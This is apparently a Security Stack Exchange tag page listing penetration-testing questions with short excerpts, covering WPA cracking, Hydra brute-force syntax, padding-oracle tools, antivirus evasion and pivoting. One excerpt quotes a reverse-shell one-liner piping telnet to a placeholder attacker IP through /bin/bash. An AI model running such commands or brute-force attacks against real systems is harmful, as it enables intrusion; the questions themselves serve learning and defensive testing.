An attempt to penetrate a system's security in an effort to evaluate the protections in place.

learn more… | top users | synonyms (2)

1
vote
1answer
359 views

WPA cracking with Crunch, JTR & Aircrack

Now I assume that everyone knows of aircrack-ng and John The Ripper with it's fantastic ability to pause and resume cracking. With that aside, I want to add Crunch into the mix, however I can't seem ...
1
vote
2answers
156 views

intentionally vulnerable virtualbox or vmware appliances for practicing mobile pentest? [closed]

Is there any virtualbox or vmware appliances or anything like metasploitable that one can use to practice mobile pentest without the real hardware? I can find those for traditional ethernet but what ...
2
votes
1answer
95 views

Best way to do security testing for a server behind nginx proxy [closed]

I'm trying to do some security testing for my server(not a web server) which is sitting behind a nginx proxy. To start with it, I've done some fuzz testing using Sulley. As expected, most of the ...
3
votes
1answer
35 views

Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
1
vote
0answers
95 views

Designing a dictionary attack using hydra on web login page [closed]

I am trying to develop a pentest on a product for a customer that is really interested in implementing good security. Using tamper data I get this information when clicking on the "Login" button in ...
8
votes
1answer
1k views

How can I find my home network's vulnerabilities when opening it for VPN connections

I want to open my home network so I can connect to it via VPN to do things™ while not at home. This concerns me because I am potentially opening doors that I don't know about. What tools can I use ...
0
votes
1answer
119 views

penetration testing first step [closed]

I've started a course about Penetration testing and CEH on cybrary. The course begins with an introduction that quickly describes each step of pentesting. The first step is essentially to gather ...
0
votes
2answers
41 views

To release as Open Source for Audit or to Keep “in house”

For cryptography, it is considered good practice to release the code so others can audit it...is this also true for penetration testing software?
3
votes
1answer
117 views

Proving SQL Injection Vulnerability

I have recently come across what I believe to be a serious flaw in the security of a 3rd party computer program used within my company. Apologies for deliberately keeping details vague, but I hope you ...
1
vote
3answers
112 views

How to organize a CTF?

In the context of an IT event, my team would organize a CTF (Capture The Flag). About the challenges (we’re working on them). I want to have some references on the types and levels of difficulty that ...
4
votes
1answer
180 views

How do I scan for GHOST remotely?

I'm talking about CVE-2015-0235. I figured there's no Metasploit package for this kind of check yet and I also understood that there's a special VM by Qualys for this test. Do you guys know of any ...
0
votes
0answers
69 views

How to test backend virus behavior?

I have a website that allows the user to upload files. The front-end (web tier) checks the file extension and first few bytes of the file for the magic number of an acceptable file, but then ...
2
votes
1answer
93 views

How does the Samba misconfigured '/etc/passwd' file security bypass vulnerability work?

I just found this vulnerability on http://www.securityfocus.com/bid/36363/references, which affects several samba server 3.0.xx. Can anyone explain more about this vulnerability? How this bypass ...
0
votes
0answers
33 views

hydra password penetration test syntax [duplicate]

I am trying to penetrate a password on my own website using hydra. Let's say that I know login and password and i just put both there like in sample below: hydra -l admin -p password 123.123.123.123 ...
1
vote
1answer
114 views

Use THC hydra to make dictionary attack on localhost

I have programmed a log in in my webpage and now I want to test it against a dictionary attack. I am using Apache and my website is not online so to access it I connect to localhost/website In hydra I ...
1
vote
2answers
80 views

Is a REST webservice without any authentication or authorization unsecure?

There is a REST-based webservice that has no authentication or authorization whatsoever - anyone that knows an URL of a particular method of this webservice can use it. However, the URLs of methods ...
1
vote
1answer
55 views

Other than synchronizer token, is there any way of protection against CSRF using http headers?

Recently I came across some websites using HTTP Header namely X-XSRF-Token and a cookie with similar name. Is it a better mitigation than using random token based security for CSRF?
0
votes
1answer
123 views

Brute force attacks detection risks

I would like to ask if using brute force attacks on some websites or online services can be risky in any way for the hacker? Let's say that someone is using medusa tool to crack password on his ...
0
votes
0answers
31 views

Bruteforce with Hydra [duplicate]

I'm trying to use a Hydra script in the following scenario on localhost and Linux: After web form login, my app redirects to another page with header(Location: internalpage.php) I use this syntax ...
2
votes
0answers
82 views

SET tool autopwn website type penetration [closed]

I tried to hack my second computer and phone in my local network. I am not very experienced so instead of picking the particular options and payloads i just pressed autopwn to use them all instantly. ...
0
votes
1answer
154 views

Question about padbuster … newbie

New to this type of attack trying to understand this .net oracle padding attack, i'm using this data : padbuster ...
0
votes
0answers
83 views

Cryptographic Testing

Given an algorithm (say, AES), how to create/generate test vectors? I have tried using the NIST test vectors for AES and found it to be working fine with a package of "chilkat". Suppose, for a ...
4
votes
1answer
127 views

Should veil framework produce packed and obfuscated binaries which bypass virustotal?

I have been working with the veil framework to test an internal IDS system I have in place. I have used a public malware sample which produces an 8/53 hit score on Virustotal and run it through the ...
2
votes
3answers
357 views

SIM card malware advice

My goal is to communicate with a sim card via binary sms and upload new firmware and/or talk to sim card api to retrieve data such as gps coordinates etc... I am not sure how to construct these binary ...
4
votes
1answer
83 views

Database Security

Would having the IP address and name of my database visible to the public be a security risk? I have hosting with godaddy, a shared hosting plan. When I connect to my DB, via MS-SQL-MS, I can see the ...
0
votes
1answer
58 views

How I do get the correct the Tamper parameters from an internal web login [closed]

I am doing pentesting for a web application, but I do not know if am using the Tamper Data add on on mozilla correctly. Could anyone explain how to get the following parameters, and where do I need ...
0
votes
1answer
149 views

Upgrade my Dell Inspiron laptop for PenTesting [closed]

I have a Dell Inspiron N5110 & wanna upgrade it to start practising pentesing with virtual machines. What do u suggest from specs below to upgrade (I have Kali Linux, Tails OS, XP, Metasploitable ...
1
vote
1answer
853 views

Hydra from Kali Linux + Tamper http post form syntax of the failure login attempt [duplicate]

I had asked this question in the general forum I think it is more adequate to place it here. ...
1
vote
0answers
214 views

Is hacking my own account illegal? [closed]

I have just learned email hacking and I want to test it. I am well aware that if I hack into any email account, there are chances that my email service provider will track me. So if I hack into my ...
4
votes
4answers
237 views

External Penetration test by third party

I am planning to engage a vendor to do pen test on my external systems. I know that pen test has a set of systematic steps .. just would like to gather some industry experience. Normally, at which ...
-2
votes
1answer
61 views

Why Application Penetration Testing is required? [closed]

I've developed application for receiving payments on my shop site. However, my clients are asking and forcing to complete a penetration testing. Why there is need of penetration testing, when I ...
-8
votes
2answers
299 views

I need to hack my website [closed]

I'm writing a simple web framework for a project of mine and need to ensure that the websites it produces are secure. In order to check this I thought I might as well just try and hack my own website ...
3
votes
1answer
591 views

Security analysis of Dashlane

I've been asked by a user whether I would recommend using the Dashlane password manager. I'm aware that other password managers have had some significant security problems, including XSS and CSRF ...
0
votes
3answers
147 views

Effect of mail bombing

I have option in my application which send an invitation email to another user. Someday ago, one of my friend told me that, attacker can flood any email using this function. And i have checked that ...
2
votes
2answers
113 views

database of URLs used by penetration tools

When someone is using a penetration test tool on my site sometimes I can find out what tool is that by looking at the user agent strings in the logs. But sometimes I can't because the tool uses a ...
1
vote
0answers
444 views

How to root a virtual device in android-sdk?

I was amused to see no one have ever asked such a question here before. After a little research in google I found only a few links to root a device in avd. Somewhere I also read that the sdk is ...
0
votes
3answers
90 views

Screen capture through silent install routed back out port 80

A penetration test was allegedly done through the following method. The tester sent a user a a hyperlink that: Silently installed a piece of software/code/etc through the browser with 0 user ...
0
votes
1answer
177 views

Windows netsh pivoting

I am pentesting a windows box to which I have gained system privileges. This box has two network interfaces. I have been able to reach machines on the second interface via the below netsh command. ...
5
votes
2answers
468 views

The effect of hidden or spoofed service banners on vulnerability scanners

The linked question relates to error pages, although the same information is often available in HTTP headers, if I follow best practise of hiding service banners: Is displaying what server I am ...
0
votes
1answer
96 views

Automated server security testing best practices?

Is there a standard way of automatically testing the basic security of my web server? I've found a couple on-line services, (e.g. http://hackertarget.com/), and they seem ok, but I'd like to start off ...
1
vote
2answers
65 views

What would be a good way to create a security testing schedule?

I've been tasked with creating a formal security testing schedule / calendar for our organisation's applications, as most of our current testing (scans, pentesting, etc) is done ad hoc. I'm wondering ...
6
votes
3answers
2k views

Android/iOS application security testing checklist

According to OWASP, we have a list of top ten mobile application vulnerabilities. But we are damn sure that the number of vulnerabilities on mobile apps, especially android apps are far more than ...
0
votes
1answer
49 views

Information Gathering - Passive

I have several subnet to assess for a VA but the assessing will start next week. What could I do with the subnet that the client has already provided to me, without break anything or be intrusive ...
0
votes
0answers
9 views

ITR(Interactive TCP Relay) Configuration for penetration testing on Thick client Application [duplicate]

I am trying to do penetration testing on Thick client application. In some article I read like ITR(Interactive TCP Relay) will help in intercepting and modifying the traffic. I don't know how to ...
13
votes
2answers
2k views

Best practice in web application security authentication to avoid bruteforce attack

I want to cover the possible cases of attacking. My application already has captcha and two-factor authentication, but how can I avoid a tiny attack without annoying my users? The possible cases that ...
1
vote
1answer
93 views

what is an internal iso 27001 technical auditor? [closed]

i have been recently hired by an ISO 27001 certified company as an " internal ISO technical auditor". My employer told me that my job is described as follow: this job is created because of the need ...
0
votes
1answer
154 views

Looking for [intentionally made] vulnerable applications suitable for practicing different penetration techniques (NOT a web apps, user side ones)

I'm looking for different kinds of applications which is intentionnaly (or not) made vulnerable and so are suitable for practicing different penetration techniques, like SQL injections, buffer ...
4
votes
4answers
6k views

Wifi penetration testing: Why aireplay-ng de-authentication does not work?

I am trying to pentest the security of the password of my wireless network. It is a WPA2 with pre-shared-keys. My current computer is connected to the wifi router and I try to de-auth my own machine. ...
2
votes
1answer
197 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> ...
3
votes
1answer
162 views

Are there any ways to leverage NTLM V2 hashes during a penetration test?

I am on a penetration test at the moment, where LM/NTMLv1 hashes are disabled. I have captured a number of NTLMv2 hashes via NBNS spoofing, however was unable to crack them after running them through ...